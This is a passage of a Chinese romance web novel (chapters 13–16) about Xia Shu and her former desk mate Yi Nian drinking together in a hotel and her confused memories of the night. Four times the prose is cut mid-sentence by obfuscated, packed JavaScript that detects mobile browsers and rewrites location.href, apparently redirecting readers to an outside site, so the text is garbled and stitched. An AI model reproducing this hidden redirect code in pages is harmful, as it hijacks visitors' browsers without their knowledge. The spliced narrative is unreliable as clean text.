她抬眼,泰然自若地跟易年对视:“包重,靠着墙,不行吗?” “人这么小一只,还非得背个大包,自己跟自己过不去?” 好的,他又长嘴了。 其实夏树也不算太矮,净身高一米□□,也就易年爱说她小个子。 她抬头细细打量了一下,易年好像高中毕业后又长了几厘米,那时候他就一米八五左右了,现在看上去,应该接近一米九。 碰巧电梯门打开,夏树没回话,直直走了出去。 走出电梯间,她抽出房卡比对着墙上的指路标。 易年突然从后面提起她的背包提手,懒洋洋道:“这边!” 夏树就这样被牵引着往左边走,后背反而轻松了许多,直到去到房间门口,易年才把手松开。 两人的房间仅一墙之隔,易年没有立刻刷开房门,而是从兜里掏出车钥匙,递给夏树:“我下午出去办事,你要去赛场就自己开车去。” 夏树没接。 “我不去了,下午我妹没有比赛。” 他的手仍悬在空中:“那你自己开着去逛逛。” “别,”夏树果断摆手,“你这个车要是磕了碰了,我可赔不起,再说了,这么热的天,我哪也不想去。” 待在房间里吹着空调,录着鬼故事,不比出去瞎逛悠舒服。 易年挑眉,声音懒散:“随你。” “我晚上不回来吃饭,你在酒店点餐,不用给钱,报房号就行。” 夏树“哦”了一声,把手里的帽子递给易年:“还给你。” 易年视线下移,恬不为意地瞟了眼白色鸭舌帽:“你回去洗干净,下次再给我。” 夏树:“……” - 房间的床很舒服,夏树补了个觉才开始录音,但是整个下午一直沉浸在夏林拿了第一的喜悦中,情绪很难投入进去,导致效率很低。 想着酒店的消费不便宜,不想再多欠人情,晚饭时间,她没在酒店点餐,只是随便叫了个外卖。 盛夏天黑得晚,七点半,太阳还未完全落下。 闷了一整天,她打算出去走走。 离酒店不远的地方,有一个荷花公园,夏树开着导航走过去,正好赶上夕阳余晖即将退尽,她便找了条长椅坐下看太阳落山。 橙黄色的半边天在聒噪的青蛙叫声中显得不太恬静,没过几分钟,原本露在山头的夕阳就急不可耐地隐藏起来。 太阳完全落下,夏树觉得眼前的景有些无趣。 小时候和庄村也有几家农户种了莲藕,荷叶荷花对她来说不算新奇,不远处还有个老年姐妹团在拍照打卡,她甚至觉得那一群阿姨比眼前的荷花更有看头。 熟悉的荷塘淤泥味混杂着荷花清香灌进鼻腔,她不由得想起了那个好几年都没有回去过的家。 …… 很久没有让自己放空过,她竟坐着出了神。 直到手机响起,回过神,已是薄暮冥冥。 夏林打电话来说他们已经回了运动员休息的酒店,又问夏树找到住的地方没。 闲聊几句,夏树没有主动提及夏林成绩的事,夏林却先说了起来。 “其实我觉得今天能拿第一主要是靠我队友陶菲菲,u18的运动员里就她的经验最丰富,之前已经参加过好几次大赛,而且也拿过名次,估计明天的单人比赛我可能都出不了小组。” 听见夏林妄自菲薄,夏树立刻打断了她:“别一天想些有的没得,那是双人项目,你自己知道的,少了谁都不行,要是像你说的她这么优秀,你如果会拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060349|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她后腿,教练怎么还会让你俩一对,不得找个更厉害的来跟她配合。” 电话那头沉默半晌:“……嗯,有道理。” 提起了教练,夏树问道:“对了,你那教练,他一直都那样吗,我今天见了他,感觉他,不太好相处。” 夏林叹了一声气,降低音量:“可能就对我那样吧。” 夏林说余震东一直看人下菜碟,谁给他送礼,他就对谁笑脸相迎,之前一个学姐参加了一个全国性的比赛,得了十多万的奖金,学姐私下把那笔钱全部给了他,他恨不得给天天给人家端茶送水。 对于夏林这样只能送他点土特产的人,几乎都是爱答不理。 “啧,难怪呢,我就说他看见我和见黎总是两个态度。” 夏树顺着夏林的话吐槽了几句她的教练,想以此来缓解她的焦虑。 倒也奏效,聊了十多分钟,挂电话之前听着夏林的语气已经比一开始接通电话时兴奋许多。 挂断电话时,天空变成墨蓝色,街灯已经亮起。 夏树抓了几下脚踝上不知被蚊子什么时候咬出来的包,起身往回走。 就当庆祝夏林比赛得第一,路过一个便利店的时候,她进去买了几瓶啤酒。 回到酒店,她喝完一瓶,觉得独自喝酒实在无趣,打了个视频给周雨唯,想组个视频酒局,可周雨唯还在加班,不知道什么时候才能忙完,不能陪她喝。 挂了视频,周雨唯发信息过来:【易年不是也在吗,你直接约他不就行了】 约易年…… 夏树有些犹豫,好像没有合适的理由找他喝酒。 于是她又独自喝了两瓶。 夏树酒量不算好,三瓶啤酒下肚,已经微微上头。 思索片刻,她决定去敲开隔壁的门,让易年来陪她喝两口。 主要想套套话,问问易年关于她微信黑名单的事。 她把弄乱的床单拉平,把房间内的一套桌椅搬到了阳台上,决定跟易年坐在那里喝。 布置完,她敞开了房门,走到易年房间门口。 “咚咚咚——” 夏树断断续续敲了几下房门,门没被打开,她把耳朵贴近房门,里面没有任何声音。 她摸出手机,站在原地给易年发了个:【在哪?】 几秒后,随着电梯“叮”的一声,她的手机屏幕亮起来。 【易年:刚回来】 还没点进微信,易年就出现在了过道里。 他的身上换了深灰色衬衣和黑色西裤,步态从容地朝她走过来。 宽肩窄腰,紧实的肌肉线条,看上去就像是在酒店过道拍时尚大片的明星,外形上挑不出一点瑕疵。 距离渐渐拉进,她见他脸上浮了些红色,眼睛还有些迷蒙。 “你在这干什么呢?”他的语调很轻,嗓音还有些沙哑。 “我想问问你要不要去我房间……” 话没说完,夏树就闻见了他身上的酒味。 估计是才应酬回来,再约他喝酒,好像也不太合适。 她努了努嘴:“算了,没什么。” 此时易年已经走到了夏树面前,他缓缓探下脑袋,拉近与夏树的距离,嘴角噙着一丝不易察觉的讶异:“去,你房间?” 随着两张脸的拉进,夏树的心脏不受控地跳动。 愣神片刻,她在想那个便利店好歹也是连锁的,应不至于卖假酒。 那她的心跳,是因为易年? 咳咳。 应该,只是,因为他离得近,有点不适应。 她不自觉地后退两步,直到整个身体都靠在了墙上。 却不料易年又向她靠近两步,将手穿过她的肩膀上方,杵在墙上。 他直勾勾地看着她,像是要把她看穿。 浅扬了下眉,他说:“不想当拉拉了?” 14. 第 14 章 问她不想当拉拉了? “……” 所以现在的情况是,易年故意用中午的事来捉弄她? 或者易年当真以为夏树是拉拉,以为她现在叫他去房间去做一些不可描述的事? 无论是哪一种可能性,夏树都觉得无语至极。 她撇了撇嘴,毫不收敛地翻了个白眼,一把将易年杵在墙上的手打掉:“还玩壁咚?你土不土!” 手上突然失去支撑,易年没站稳,身体不自觉往后退了一步。 站定之后,他懒散挑眉:“不是你自己说的让我去你房间?” “还说我给你房卡让你去睡觉如何如何,你这大晚上的邀请一个单身男人去你房间,才是图谋不轨吧。” 暖色顶灯恰巧自上而下直直照着他的脸。 喝了酒的易年,脖子上的青筋因为充血而膨胀,恰到好处的碎发四散在酒后迷蒙的眉眼间,长睫的影子落在通红的双颊上。 他的唇瓣单薄,棱角却异样分明,隐藏着一股野性难驯的男性荷尔蒙美感。 夏树忍不住多看了两秒。 但不知为何,那种被假酒支配心脏的感觉又萌生出来,她似乎能清楚地听见自己的呼吸声和心跳声。 夏树做了个吞咽的动作,及时收住了还未延伸思绪和眼神。 食色性也,肯定是因为自己是微醺状态,所以在面对这张脸时,才会多多少少有些招架不住。 这时,电梯又“叮”的响了一声,过道那头传来三三两两人声。 易年朝那边看了眼,戏谑道:“我可不是什么随随便便的男人。” ??? 他不是什么随随便便的男人,那意思是她是随随便便的女人? 她半仰着头,睨着易年:“你属黄瓜的吧!” 说完便扭头进了房间。 - 夏树关上房门,易年仍站在原地,揣摩那句“属黄瓜”的意思。 一对中年夫妻带着一个小女孩走进客房过道,经过易年身边时,小女孩抬起稚嫩的小手指向他:“妈妈,你看这个高个子叔叔是不是被刚才那个漂亮姐姐施了魔法,他怎么动都不会动,只会笑……” 小女孩的妈妈立刻将小女孩抱起:“宝宝不可以不礼貌!”又对着易年讪讪微笑,“抱歉啊,小朋友不懂事,您别介意。” 回过神来,易年对小女孩温柔地笑着:“对,那个漂亮姐姐会魔法。” …… 进到房间,易年靠在躺椅上回想着几分钟之前在过道上的场景。 夏树真的和原来不太一样。 现在的她,好像完全不允许自己落入下风,相比原来,多了一身反骨。 他掏出手机,给夏树发了句“早点休息”。 视线没有离开对话框,约莫半分钟后,夏树回复:【哦】 退出聊天框,肌肉记忆带着他清理手机上无关紧要的消息通知,在所有消息通知被清理的一瞬,视线一晃,看见“感同声受”app有一条特别关心的更新通知。 正常情况下,夏树不会在这个点就更新,而且过去一周也没更新过,易年以为自己看错了。 他点开了app。 还真更新了一个新的鬼故事,时间是下午六点。 易年将手机媒体音量调到最大,点了播放,随后找了换洗衣物走进浴室。 水流声丝毫没有盖过夏树的声音。 听着这期的鬼故事,易年后背发凉。 易年三四岁时身体弱,经常梦魇,被鬼压床,那时候一到晚上就不愿意睡觉,必须爸爸妈妈一直在他身边,他才能勉强入睡。 祖母找大师算了之后说是他有次发烧冲撞了不干净的东西,后来祖母找了些民间办法,才慢慢让他有所好转。 从那以后他就一直很害怕那些科学难以解释的东西,不敢一个人走夜路,不敢关灯睡,更别说主动看鬼片或者听鬼故事。 后来……虽然听了夏树讲的七百多个鬼故事,已经没有小时候那么害怕,但是今晚这个故事讲的是水鬼。 一个损了阴德的人游泳时惹上了水鬼,还把水鬼带回了家,在洗澡时候水鬼就飘在浴室顶上看着那个人…… 此时此刻,易年也在浴室! 故事讲到水流突然变小,不知是不是心理作用,他感觉自己洗澡的水流也正在变小。 有点毛骨悚然,他不太愿意在浴室过多逗留,于是火急火燎地洗完出了浴室。 连头发都没吹干。 出了浴室,他看了眼进度条,还剩二十多分钟。 “……” 今天这个故事的效果确实比前段时间的猛,听了几分钟,恐怖的氛围渐渐浓烈,只感觉酒店房间越来越压抑。 他打算去阳台看着酒店楼下的车流和行人,算是蹭点别人的人气。 易年握着手机走到阳台,他所在的楼层是二十二楼,从这里看下去,行人和车辆勉强能看清。 他正准备回房间搬个椅子出来,才一转身,就看见夏树坐在隔壁的阳台,手里捏着啤酒瓶,疑惑地凝眉看他。 易年的第一反应是赶紧按下鬼故事的暂停键,但是慌乱之中,直接点了全屏退出。 声音还在继续,他只能迅速将音量关到最低,再重新点进电台按暂停。 “我怎么……”夏树稍稍坐直,“听见我的声音了?” 按下暂停,易年不紧不慢抬头:“没有吧,你听错了。” 这一片还算清静,坐在阳台上,只能听见楼下微弱的车流声和风声。 刚刚,夏树明明听见易年手机里传出来自己时强时弱的声音。 他又在搞什么幺蛾子? 她继续用怀疑的眼神睇着易年,易年把手机装进口袋:“可能是,刚刚不小心点了你之前发给我的语音。” “哦。” 夏树没搭理他,将头别到一边,接着悠然地抬起酒瓶。 “我说你……”易年抱起双臂,懒散地靠着酒店的落地推门,“是不是我没去你房间,所以失落地在这里和闷酒?” 夏树:“?” 这人莫不是脑子真的有什么大病。 她无奈地往椅背一靠,攒着眉,鼻腔呼出一口气,“易年,我真的很想知道,这些年你到底发生了什么,怎么现在说话都这么不要脸!” 他最好只是开玩笑,要是认真的,夏树真的有种想从这里翻过去削他的冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060350|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,你还怪起我来了?”易年若无其事地喊冤,“不是你跟我说让我去你房间,然后还话说一半就跑了。” “怎么,有问题吗?嘴长我身上,你管我说什么,跟你有什么关系?” 说完,夏树又对着酒瓶吹了一口,“洗洗睡吧,别在这碍我的眼。” 夏树尾音落下,易年就回了房间。 她还以为是自己刚刚说他碍眼那句话惹恼了他,不料半分钟后,易年也将自己房间的椅子搬了出来。 长腿交叠,闲适地坐着。 “你刚刚说我属黄瓜,是什么意思?”他问。 他竟然还在琢磨这句话。 夏树扬起下巴,眼角洋溢着分明的得意:“欠、拍!” “……” 易年没继续与她拌嘴,之是浅浅笑了几秒。 “说真的,我觉得你和以前还挺不一样的。” 夏树:“有什么不一样?” 易年放下怀抱着的双臂,朝夏树的方向走了几步:“原来的你……怎么说呢,没现在这么暴躁。” “你是想说我现在不好拿捏,不像原来一样好欺负了吧!” “嘶……”易年皱了皱眉,“你这话的意思,我原来会欺负你?我怎么不记得!” 要说欺负,那倒也没有。 在她看来,易年原来对她也还是挺不错的。 “我没说你。” 夏树抱着膝盖,认真总结了自己现在的心境,“我这叫放下个人素质,享受缺德人生,有事当场发疯,绝不委屈自己。” 说这话时,夏树的模样松弛自如,易年揣摩着其中意味,认可地点了点头:“嗯,也挺好。” 夏树没搭理他,又自顾自喝了一口酒,易年又问她,“那你叫我过去到底什么事,是遇到什么麻烦了吗?” 此刻易年脸上的表情温和了许多,倒不像是要找茬。 不就是想约他喝酒,再套套话,也没必要藏着掖着。 夏树将地上的几瓶啤酒拎上桌,手指点着瓶身,脸色如常:“我只是想过去问问你,要不要来一起喝点,而已。” 易年:“那你干嘛不直说,还直接跑了。” 夏树:“我自己已经喝了点酒,还能闻见你身上有酒味,证明你也喝了不少酒,那我还约你干嘛?到时候把你喝翻了,对我有什么好处。” “这位同学,你忘了我家是做什么的了?”易年炫耀般地挑着眉,“从小闻着酒味长大,我至今还不知道酒醉是什么东西。” 坐在阳台上一吹风,夏树醉意攀升。 她知道易年说的是事实,但对方说这话的口气实在是狂妄。 本想怼易年两句,但是脑容量告急,想不起来要说什么。 易年见她迟迟不说话,又补充:“那点酒劲,洗个澡就完全没了。” 夏树略带认同地瘪了下嘴,没说话。 易年:“你要是现在还需要酒搭子,我可以勉强考虑一下。” “酒搭子……” 夏树犹豫片刻,清了清嗓,“要是你嘴不贱,倒是可以过来组个话搭子。” 此时此刻,夏树还不知道她这一句话会为她带来何种后果。 15. 第 15 章 打开房间门时,夏树才看见易年头发是湿的。 “你干嘛不吹头发?” 她自己有这毛病,不把头发吹干就会头疼。 平时在汽修厂里,三个徒弟不管是谁在她面前湿着头发,都要被口头教育一顿。 易年眼睛上挑,看了眼自己的发丝:“那个,吹风机坏了。” 夏树见不惯有人在她面前湿着头发,于是向浴室偏了偏头:“自己进去吹干再出来。” 她一共买了七瓶啤酒,不是因为她酒量好,而是当时货架上摆着各种造型和口味的精酿,一方面是选择困难症,另一方面是为了猎奇,才挑着好看的买。 易年来都来了,应该多少会喝点。 现在还剩下四瓶,她要是每个味道都想尝点,肯定就不能再继续对瓶吹。 于是她拿了房间里的马克杯,打算洗过之后用来盛酒。 走进卫生间时,易年头发还没完全吹干。 她对着易年扬了下马克杯:“我用下水。” 易年朝旁边退了两步,让出位置。 开水的时候,夏树从镜中瞟了易年一眼。 易年将衬衣西裤褪去,换了宽松的白色T恤,微收着颌,额前的碎发正好遮住眉眼。 这样一看,他还真是衣架子。 穿正装的时候矜贵优雅,穿T恤的时候意气风发。 不愧是当年的校草啊,她想。 视线还未收回,吹风机的声音就停了下来。 易年倏地抬眼,两人的视线在镜中交汇。 “干嘛?偷看我?” 他的声音冷淡沉哑,像是还透着隐隐的得意。 “犯得着偷看?”夏树凝眉,语气不屑,“我这是光明正大地看。” 说完,她控了两下杯壁的水,转身。 “叮~” 伴随着两个马克杯相撞的声音,夏树鼻尖一阵酸胀—— 她意外撞进了易年的怀里! 原本两人隔着一定距离,她正常转身,根本不会碰到他。 可巧的是,在她转身的同时,易年拿着吹风机,正准备放进墙上的托架,所以才两人不偏不倚撞到了一起。 狭窄的空间,似乎因为刚刚用过吹风机,气温随着还未完全消散的热风逐渐攀升。 夏树垂着眼,视线正好落在易年起伏的胸口,不过他的呼吸频率好像不太规律。 不太规律的呼吸不止易年。 夏树也是,呼吸和心跳似乎都是乱的。 ……应该只是喝了酒,再加上被突然上前的易年吓了一跳,才会这样。 怔楞几秒。 她咬着下唇稳了稳心神,把两个马克杯合并到左手,抬右手搓着鼻子,视线朝下,未与易年对视。 “没长眼啊!” 说完径直出了卫生间。 阳台上的空气比卫生间里舒畅许多,但夏树的呼吸却还未完全平稳。 吐了口气,她捞起桌上的酒瓶放进口中。 随着瓶口“呲”的一声,瓶盖与瓶身分离,瓶盖被她叼在口中。 她往自己面前的杯中倒了一个底。 易年刚好出现在阳台,他拉开椅子坐下,手指点了两下面前的马克杯,示意夏树倒酒,夏树不情不愿地给他倒了三分之二杯。 “你这是……”易年看了看夏树杯底的酒,又看了看自己面前这一杯,“想把我灌醉就直说,还借口说什么组话搭子!” “……”夏树吐了瓶盖,咧了下嘴,“你不是酒量好吗,多喝点怎么了!我酒量差,喝多了会发酒疯,不是得少喝点!” “你发酒疯我又不是没见过,不就是……”易年哼笑一声,“爱、骂、人!” 夏树自然不信:“你就吹吧,我跟你多少年没见了,我什么在你面前发过酒疯!” “我跟你说过,你喝了酒打视频给我,骂了我一通,还把我拉黑了。” 易年说得言之凿凿,但夏树还是不太相信。关于黑名单的事,如果直接问他,他不一定会说实话,她打算多喝两口套话。 她扬了扬眉:“哦!” 夏树还是往自己酒杯里倒了跟易年一样多的酒。 两人由皮划艇比赛聊到了夏林,又由夏林聊到他们的高中生涯。 聊了分科前的那个在黑板上徒手画地图的班主任,聊了高二那年的冬运会,聊了那时候坐在他们前后左右的同学。 这个话题持续的时间不短,不知不觉剩下的四瓶啤酒就被两人喝完。 但是该套的话还没开始问,酒没了也不行。 夏树试探地问:“还能喝不?” 易年一眼就看出她的言外之意,挑了下眉:“奉陪到底。” 在这一刻,他们像是恢复了从前的默契。 夏树拿出手机:“那我从手机上再点几瓶,让外卖小哥送来,”她抬眼问易年,“你想喝什么?” 易年思索片刻:“红酒你喝吗?” 易年说他的车里还有几瓶红酒,他去车上拿了酒返回房间,等客房服务送红酒杯和开瓶器的间隙,夏树开始试探。 “对了,你说我拉黑你,是哪一年的事来着?” 易年挑眉,斩钉截铁:“高中毕业后的第一个圣诞节。” 夏树努力回想,高中毕业后第一个圣诞节,那时候在职业学校读高一,那天好像确实跟班上的同学到学校周边的清吧喝了酒。 “那,我当时打给你的时候是在……?” 易年:“宿舍。” 不确定易年说的是不是真的,如果真是在宿舍打了视频给易年,也无从查证。 因为当年在职业学校,整个年级学汽修的女生只有两个,另一个女生是离阳市本地人,没有住校,所以女生宿舍只有夏树一人。 想了想,她决定诈一下易年。 “你就吹吧,我记得那次圣诞节我跟班上的同学喝到了十一点多,最后是翻墙进的学校,我舍友都睡了,我怎么可能还打视频给你,而且如果我发酒疯,我舍友第二天怎么没有告诉我!” 易年手指交叉,向后一靠:“你哪来的舍友?不是你自己亲口说的,你一个人住着八人间!” 夏树倒吸一口气。 所以,他说的是真的? “那我当时说了什么?”她小心翼翼地问。 “我哪记得!” 易年边说边把头转向一侧,几秒后他回过头,语气浅淡,“说的最多的是,‘我把你当朋友,你为什么要那样对我’。” 这下夏树有九成相信易年说的是真话。 因为那时候,她确实有过这种想法,当年就因为夏树误拿了他要送给级花的情书,所以他才说了些伤人的话,使得两个人自此闹掰了。 在那件事之前,她一直把易年当成很好的朋友。 反正也过了那么多年,该正式翻篇了。 正好客房服务送来了高脚杯、醒酒器和开瓶器,易年打开红酒,没用醒酒器,直接倒了两杯。 夏树双脚蜷到了椅子上,一只手曲起食指拖着下巴,另一只手端起酒杯,漫不经心道:“这杯酒喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081936|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,当年的事就翻篇了,如果你愿意,咱们还是朋友。” “朋友?”易年摇晃着红酒杯,意味不明地勾了下唇,“行,朋友!” 夏树将杯中的酒一饮而尽,五官痛苦地挤在了一起:“嘶——又酸又涩,难喝!就你们这些有钱人爱喝,还不如刚刚的啤酒好喝。” 易年也一口将酒喝完,轻轻笑着:“酒庄还有更好喝的,后天你叫上你的徒弟一起去喝点。” 夏树挤着眉摆手:“不去,我不爱喝红酒。” “除了红酒还有其他,后天有一个派对,是我……” “不去不去!”易年话还没说完就被夏树打断,表情坚定,“别耽误我挣钱。” 沉默几秒,易年眼睫下扫:“好吧。” “对了,当年你跟林晚鑫怎么样了?”她问。 “林晚鑫?是谁?” ??? 易年居然问林晚鑫是谁? 夏树简直不敢相信自己的耳朵。 “级花啊,你不记得了?” 易年疑惑地摇了摇头:“不记得,不认识。” …… - 翌日,夏树是被定好的闹钟叫醒的。 她左眼撑开一缝,循着声音从床头摸来手机关了闹钟,又闭上眼,贴回枕头上。 头疼得像被细细密密的针扎,特别是太阳穴,像被重锤敲打过。 口干舌燥,夏树再次睁眼,正巧看见放在床头的一杯水,她挣扎着立起脑袋喝了大半杯。 渐渐清醒过来,脑海中还残存着混沌的记忆——昨晚好像和易年一起喝酒来着。 说起易年,夏树隐约记起好像还做了关于他的,春梦? 说是春梦应该也算不上。 她只记得在梦里易年跟她躺在一张大床上,她的双手紧紧勾着他的手臂,易年小心翼翼将他的手向外抽,却被她箍得更紧。 然后…… 易年重重地吞吐了几口气,柔声说:“我待会儿还有工作,现在必须得走了,你先把手松开好不好?” 睡梦中的夏树睁开眼睛,视线还未聚焦,朦胧地看了他一眼,实在没有力气,就再次阖上眼,“嗯”了一声,松开双手。 又听见易年说:“车钥匙留给你,我下午忙完就回来。” …… “我去……”夏树回忆着梦境,打了个激灵,情不自禁喊叫一声。 这个梦的内容也惊悚了,怎么两人还躺一起去了。 揉了揉太阳穴。 肯定是昨天说了什么开房睡觉的话题,所以才会做这个梦。 这下清醒了不少,她抓起手机,解了锁后居然是周雨唯的微信聊天界面,显示有一个昨晚一点多打过去的视频,通话时长二十多分钟。 实在想不起这一茬,她便给周雨唯发了条语音,问了昨晚的视频是怎么回事。 还不到半分钟,周雨唯就打进电话。 电话接通,周雨唯小心翼翼地试探:“易年在你旁边吗?” 夏树眨了几下眼睛,想起做的那个梦,总感觉怪怪的。 “……没、没在。” 周雨唯拖着音调,“哦”一声,然后放慢语速:“昨晚,后来,你把他,怎么样了?” 夏树一噎,咳了几声,心虚道:“什么叫我把他怎么样了?我能把他怎么样!” “啧啧啧。” “昨晚,屏幕一黑,我听见他说‘你先起来,别压这里’,吓得我赶紧把视频挂了……你说!你到底干了什么?压他哪里了?” 16. 第 16 章 “呕……” 这个信息量实在大,夏树被吓得差点吐了出来。 她又抬起床头的水,喝了一口,缓过劲来,才战战兢兢问,“你说什么!什么叫他说让我别压着他?你别逗我,这可开不得玩笑。” 周雨唯带着吃瓜的口吻笑出了声:“这么精彩的事,你不记得了?” “大半夜的,我都睡了,你打视频过来跟我说,怕他不认,还让他录像,要跟他对峙。” “说着说着,你朝着镜头扑过来,然后画面就没了,估计你把他按倒了?还压到他某处不可描述的地方?” “……” 周雨唯说话话直冲天灵盖,夏树瞪圆眼睛:“什么录像?什么对峙?” 周雨唯幸灾乐祸:“谁知道你要对峙什么,就一个劲儿重复着说你把易年当朋友,他当年居然那样对你,估计这两句说得腻了,就换成像复读机似的说他居然不记得林晚鑫……” “你说你,发酒疯就发酒疯,还主动让别人给你录视频,你最好祈祷他没按录制键!” 夏树的嘴张成一个圆圈,掐了一下大腿,痛感蔓延,确认这不是在做梦,才开始努力消化周雨唯的话。 沉默半晌。 周雨唯说的每个字她都听得懂,可要让她接受这些字拼凑出来的信息,真的很难做到。 “不会……吧!” 周雨唯对这事的看法,除了觉得荒唐,更多的事抱着吃瓜的心态。 易年对谁都爱答不理,但对夏树却不太一样,周雨唯觉得不仅仅因为他们是同桌。 当年在亲眼看见易年写给级花林晚鑫的情书以前,她一直觉得易年喜欢的是她闺蜜。 那时候,她是真的希望易年和夏树能凑一对。 “我骗你干什么,”周雨唯说,“你要不信,你自己问问他呗,看他有没有保存昨晚的视频。” “……” 要夏树怎么问? 她怎么可能去问! “哎,不是我说,”周雨唯狐疑道,“你真不记得了?” 周雨唯说的这些,她还真的不记得。 挂断电话,夏树使劲回想着头天晚上的事。 她记得她和易年聊到了林晚鑫,结果易年说他不记得这个人,气得她又闷了一杯红酒。 至于易年什么时候离开的,她又是什么时候睡着的,真的完全没印象。 实在想不起后来发生的事,她的思绪卡在了记忆最后,聊起林晚鑫的画面。 夏树之所以会觉得生气,是因为当年也勉强算是因为林晚鑫,她才和易年闹掰,结果他现在居然轻飘飘地说不记得。 当年高考完,夏树接到了最后一单生意,其他班的一个女生托夏树找易年写几句毕业祝福,易年答应了。 回学校拍毕业照那天,夏树去到教室没见易年,她给易年打了个电话问他写好了没,易年说他写好放抽屉里了,让夏树自己拿。 夏树在他抽屉里看见了一个粉色信封就直接拿了出来,她跟买家约在学校雕像下交货。 她拉着周雨唯一起,拿着信封去交货点,路上遇到抱着一束茉莉的易年,便喊了他一声,迎上去打招呼。 在从易年抽屉里拿信的时候,夏树就在他课桌上看见了很多礼物盒,想必这束茉莉也是别人送的。 “好香,这又是哪个女生送你的?” “不是别人送我的!” 易年原本嘴角上扬,好像因为看见夏树手里的粉色信封,脸色突然转变,变成慌促和惊讶。 “你……”他抬下巴指向夏树手上的信封,“你这是……?” “这个啊,”夏树视线落在信封上,扇了两下,感慨道,“这应该是我从你身上赚的最后一次钱的,不过好在那个女生出的价还挺高。” “夏树!” 冰冷的语气,易年认真喊了她的名字。 夏树抬眼,看见易年脸上彻底没了表情。 她不解地蹙眉:“干嘛?” “你知道里面是什么吗?” 夏树被易年问的有些发懵,怔楞两秒,眉头松开:“知道啊。” 她以为只是易年写好的毕业祝福,那个女生发了想让易年写的内容给她,她又转发给了易年,所以她当然知道。 易年眸色越来越深:“你确定要卖吗?” 夏树肯定地说:“肯定要卖啊,都说了是最后赚一笔了!” 她的话音一落,易年就扯唇轻笑。 夏树被易年这一反应搞得有些不知所措。 一阵沉默。 易年:“你就那么喜欢钱吗?” 他说话时的表情很奇怪,看似毫无波澜,但眼中的寒意却让夏树在盛夏不自觉打了个冷颤。 她抿了抿唇,放慢语速说道:“当然喜欢,怎么会不喜欢。” 又是一阵沉默。 “这三年,我也让你赚到不少钱了吧,现在,你非要这样做吗?就这一笔,非赚不可吗?” 易年话里的内容越来越古怪,表情也不像在开玩笑。他说他让夏树赚了不少钱,就像是要跟她秋后算账。 可一直以来,夏树赚的每一笔钱,他都是默许的。 她捎带不满直接问他:“我哪样做了?你什么意思?不是你同意我赚钱的吗?” “如果你想要钱,要多少,你开口,我可以给你。但是我希望你可以好好再考虑一下,这笔钱,到底赚不赚。” 当时夏树的注意力只集中在了前半句,易年说她想要多少钱他都可以给。 听上去是用有钱人的身份居高临下地侮辱她。 从未想过自己的同桌、朋友会对自己这样,夏树鼻尖一酸。 吐了口气,稳了稳情绪,她冷冰冰地抛出几个字:“请你把刚刚的话收回,我就当你是在开玩笑。” “我认真的,没开玩笑。” 火气渐渐攀升,夏树如鲠在喉,咬了咬牙,又重复一遍:“请你把话收回!” 易年并未理会夏树的要求,仍自顾自说着:“我自认为我对你并不差,我都说了你要钱可以跟我开口,所以你还坚持要卖?” 易年的话再一次刺到了夏林的敏感神经。 她不知道是不是易年生来就觉得,缺钱的人就应该默默承受这份侮辱,所以他才一而再再而三地说这一番话。 她站在原地,双手不受控地发抖。 看着易年那不咸不淡的表情,她拿起粉色信封就直接撕碎,然后将碎片扔到他身上。 她努力挤出一个微笑:“好,我不卖了,还给你。” 这时候周围已经聚集了不少人,有人在窸窸窣窣讨论着眼前这个情景,以为是夏树偷偷拿易年的东西去卖,结果被当场抓包。 周雨唯听见别人的恶意揣测,往人群里喊了“你们能不能闭嘴”,随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏树嘴角上翘,再一次抬起了杯子,却看见刚刚的视线盲区摆了易年的车钥匙和皮划艇赛场出入证。 中间还夹着一张便签。 她把身子探过去,先拿了车钥匙。 啧,这么重要的东西都能忘了,看来易年应该也醉了,昨晚还说什么没醉过。 她又拿起那张便签。 读完上面的每一个字,夏树的双手不自觉发抖,心脏也跳到了嗓子眼。 ——“我待会还有工作,要忙到下午,车钥匙留给你,你去看完比赛回来等我,我们一起回离阳。” 她又读了一遍。 为什么这些话和梦到的场景这么相似??? 等等! 待会还有工作,他说的是“待会”!! 为什么不是“明天”? 难道…… “呕……” 这次夏树真的要吐了。 她立即跑到卫生间,趴着马桶把隔夜酒水吐了出来。 那张便签还捏在她的手里。 吐完以后,她重新打开看了一眼。 